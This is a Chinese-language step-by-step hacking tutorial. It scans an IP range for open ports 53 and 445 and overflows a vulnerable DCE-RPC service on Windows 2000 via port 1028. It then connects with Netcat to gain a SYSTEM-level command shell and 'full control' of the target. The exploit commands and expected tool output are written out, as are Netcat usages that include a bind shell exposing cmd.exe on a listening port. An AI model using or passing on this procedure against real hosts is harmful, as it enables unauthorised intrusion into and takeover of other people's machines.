开始操作前需明确一个前提条件:53和445端口必须处于开放状态。当准备工作完成后,即可进入正式流程。
首先,使用Superscan工具执行端口扫描。在工具中勾选53和445端口,并指定目标IP段,扫描完成后即可识别出哪些主机开放了这两个关键端口。
接下来,选取一个开放了53或445端口的主机,打开命令提示符(cmd),输入dns -t ip,对目标进行特定漏洞端口扫描。若返回结果中包含“1028 : Vulnerability”,则表明1028端口存在溢出漏洞;而“os:window 2000”则表示目标操作系统为Windows 2000。
根据这些信息,可以执行dns -t 2000all ip 1028尝试溢出攻击。当看到“connection to target host tcp port established”提示时,表示已成功建立到目标TCP端口的连接;紧接着出现的“successfully bound to the vulnerable dcerpc interface”表明已成功绑定到目标的RPC接口;随后“os fingerprint result:windows 2000”确认系统指纹为Windows 2000。最后,当出现“attack sent, check port 1100”时,说明攻击代码已成功发送,工具正在尝试连接1100端口。至此,操作基本成功。
接下来的问题是:如何连接目标的1100端口?此时需要借助经典工具——nc(Netcat),它是一款基于TCP/IP协议的“瑞士军刀”,操作简单但功能全面。以下是其几种常见用法:
1. 在本地6069端口监听入站连接:nc.exe -vv -l -p 6069。其中-vv参数用于显示详细输出,-l表示监听模式,-p用于指定端口号。
2. 连接到目标已开放的端口:例如目标已在5257端口等待连接,使用nc.exe -vv 127.0.0.1 5257进行连接,若成功,将获得一个system权限的shell。
3. 在本地监听端口的同时绑定一个shell,相当于搭建一个简易的telnet服务器。在被控主机上执行nc.exe -l -p 5257 -t -e cmd.exe,然后连接该端口即可获得cmd命令行。其中-e参数用于程序重定向,-t表示以telnet方式响应。
4. 手动向目标主机的指定端口发送数据包,例如向80端口发送文件内容:nc.exe -vv 127.0.0.1 80
掌握nc的以上四种用法后,连接1100端口变得非常简单——直接执行nc -vv 目标IP 1100,成功连接后将获得一个system权限的cmdshell。至此,便拥有了完全控制权。
